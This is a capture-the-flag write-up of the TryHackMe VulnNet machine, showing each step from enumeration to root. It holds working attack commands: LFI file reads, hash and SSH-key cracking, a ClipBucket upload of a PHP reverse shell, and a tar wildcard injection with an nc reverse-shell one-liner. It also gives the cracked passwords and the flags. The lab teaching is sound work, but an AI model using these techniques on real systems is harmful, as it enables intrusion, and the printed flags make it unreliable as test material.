TryHackMe-VulnNet

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Can you take advantage of the misconfigurations made by VulnNet Entertainment?

The purpose of this challenge is to make use of more realistic techniques and include them into a single machine to practice your skills.

  • Difficulty: Medium
  • Web Language: PHP

This machine was initially posted on other platforms under the name Shuriken. Now I made it available on TryHackMe with a different name (for a reason) and a bit modified privilege escalation (also for a reason).

You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts

What is the user flag? (user.txt)

Initial foothold

As instructed, let’s add the IP with the domain to our /etc/hosts file:

$ echo "10.10.123.41 vulnnet.thm" | sudo tee -a /etc/hosts

A Nmap scan reveals 2 ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

There is no robots.txt file and gobuster doesn’t find anything useful.

Checking the source code of the main page reveals 2 javascript imports at the end of the code:

<script src="/js/index__7ed54732.js"></script>
<script src="/js/index__d8338055.js"></script>

The analysis of the first script will reveal the following subdomain:

return "".concat(void 0 === e ? "http://broadcast.vulnnet.thm" : e).concat("/", "?_alias=").concat(n, "&_callbackAlias=").concat(l, "&_lang=").concat(c)

The second script reveals that index.php accepts a referer parameter:

}, n.p = "http://vulnnet.thm/index.php?referer=", n(n.s = 0)

Let’s add broadcast.vulnnet.thm to our hosts file:

$ echo "10.10.123.41 broadcast.vulnnet.thm" | sudo tee -a /etc/hosts

Browsing this new subdomain prompts for a basic authentication, which is a dead end at this stage. Let’s check the other information.

LFI

Injecting /etc/password as referer confirms that the page suffers from a Local File Inclusion (LFI):

┌──(kali㉿kali)-[/data/VulnNet]
└─$ curl -s http://vulnnet.thm/?referer=/etc/passwd 

[REDACTED]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
lightdm:x:106:113:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:107:117::/nonexistent:/bin/false
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:110:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash
mysql:x:112:123:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
  <script src="/js/index__7ed54732.js"></script>
  <script src="/js/index__d8338055.js"></script>

</body>
</html>

As we have seen previously, the other domain is protected by a basic authentication. Let’s check in the Apache configuration files what we can find:

┌──(kali㉿kali)-[/data/VulnNet]
└─$ curl -s http://vulnnet.thm/?referer=/etc/apache2/sites-enabled/000-default.conf

[REDACTED]

<VirtualHost *:80>
  ServerAdmin [email protected]
  ServerName vulnnet.thm
  DocumentRoot /var/www/main
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
  <Directory /var/www/main>
    Order allow,deny
    allow from all
  </Directory>
</VirtualHost>

<VirtualHost *:80>
  ServerAdmin [email protected]
  ServerName broadcast.vulnnet.thm
  DocumentRoot /var/www/html
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
  <Directory /var/www/html>
    Order allow,deny
    allow from all
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
  </Directory>
</VirtualHost>

[REDACTED]

Break the broadcast.vulnnet.thm authentication

It looks like the basic authentication password file is stored in /etc/apache2/.htpasswd. Let’s get the content of the file:

┌──(kali㉿kali)-[/data/VulnNet]
└─$ curl -s http://vulnnet.thm/?referer=/etc/apache2/.htpasswd                     

[REDACTED]

developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

[REDACTED]

Save this hash and crack it with John:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ /data/src/john/run/john auth.hash --wordlist=/usr/share/wordlists/rockyou.txt  
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls   (developers)
1g 0:00:00:13 DONE (2021-05-07 07:32) 0.07262g/s 156946p/s 156946c/s 156946C/s 9982..99686420
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have the credentials (developers:9972761drmfsls) to authenticate against the subdomain.

The broadcast.vulnnet.thm website

We can now go to http://broadcast.vulnnet.thm and use the credentials (developers:9972761drmfsls).

The title of the page shows ClipBucket v4.0, an Open Source OTT, VOD and Enterprise Video Hosting Solution. Using searchsploit, we can identify a critical vulnerability:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ searchsploit clipbucket 4.0
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injectio | php/webapps/44250.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Reverse shell

Following the instructions in the exploit, we can upload a php reverse shell to the target:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ curl -F "[email protected]" -F "plupload=1" -F "name=rev.php" "http://developers:[email protected]/actions/beats_uploader.php"
creating file{"success":"yes","file_name":"1620367741f6065c","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}

Open a listener (nc -nlvp 4444) and browse the uploaded shell (http://developers:[email protected]/actions/CB_BEATS_UPLOAD_DIR/1620367741f6065c.php). We now have a reverse shell:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ nc -nlvp 4444       
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.93.62] 60288
Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 08:17:02 up  1:01,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral move (www-data -> server-management)

Checking the /home folder, as well as the /etc/passwd file will confirm the existence of a server-management user. Let’s check what files are owned by this user:

[email protected]:/home$ find / -type f -user server-management -exec ls -l {} + 2>/dev/null
<user server-management -exec ls -l {} + 2>/dev/null
-rw-rw-r-- 1 server-management server-management 1484 Jan 24 14:08 /var/backups/ssh-backup.tar.gz

Let’s download the /var/backups/ssh-backup.tar.gz archive and uncompress the archive. It will result in a password-protected SSH private key. Let’s crack it:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ /data/src/john/run/ssh2john.py id_rsa > ssh.hash

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ /data/src/john/run/john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
oneTWO3gOyac     (id_rsa)
1g 0:00:00:05 DONE (2021-05-07 08:44) 0.1669g/s 2394Kp/s 2394Kc/s 2394KC/sa6_123..*7¡Vamos!
Session completed

John successfully cracked the password (oneTWO3gOyac).

User flag

We can now connect and get the user flag:

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ ssh -i id_rsa [email protected]                                 
Enter passphrase for key 'id_rsa': oneTWO3gOyac
[email protected]:~$ cat user.txt 
THM{907e420d979d8e2992f3d7e16bee1e8b}

User flag: THM{907e420d979d8e2992f3d7e16bee1e8b}

What is the root flag? (root.txt)

Cronjob

There is a cronjob (/var/opt/backupsrv.sh) run by root every 2 minutes:

[email protected]:/tmp$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/2   * * * *   root    /var/opt/backupsrv.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Reverse shell

We don’t have write access to the script.

[email protected]:/tmp$ cd /var/opt/
[email protected]:/var/opt$ ll
total 12
drwxr-xr-x  2 root root 4096 Jan 23 21:30 ./
drwxr-xr-x 14 root root 4096 Jan 23 14:20 ../
-rwxr--r--  1 root root  530 Jan 23 21:30 backupsrv.sh*

Let’s check what the script does:

[email protected]:/var/opt$ cat backupsrv.sh 
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

The script is backing up our Documents folder using tar to compress the archive.

Checking on GTFOBins what we can do with tar confirms that we can exploit it by creating 2 files which names will be interpreted as options passed to the tar command.

[email protected]:/tmp$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.50.72 4444 >/tmp/f" > /home/server-management/Documents/rev.sh
[email protected]:/tmp$ touch "/home/server-management/Documents/--checkpoint=1"
[email protected]:/tmp$ touch "/home/server-management/Documents/--checkpoint-action=exec=sh rev.sh"

Root flag

Start a listener (nc -nlvp 4444) and wait 2 min to get a root shell.

┌──(kali㉿kali)-[/data/VulnNet/files]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.141.227] 54082
/bin/sh: 0: can't access tty; job control turned off
# cat /root/root.txt
THM{220b671dd8adc301b34c2738ee8295ba}

Root flag: THM{220b671dd8adc301b34c2738ee8295ba}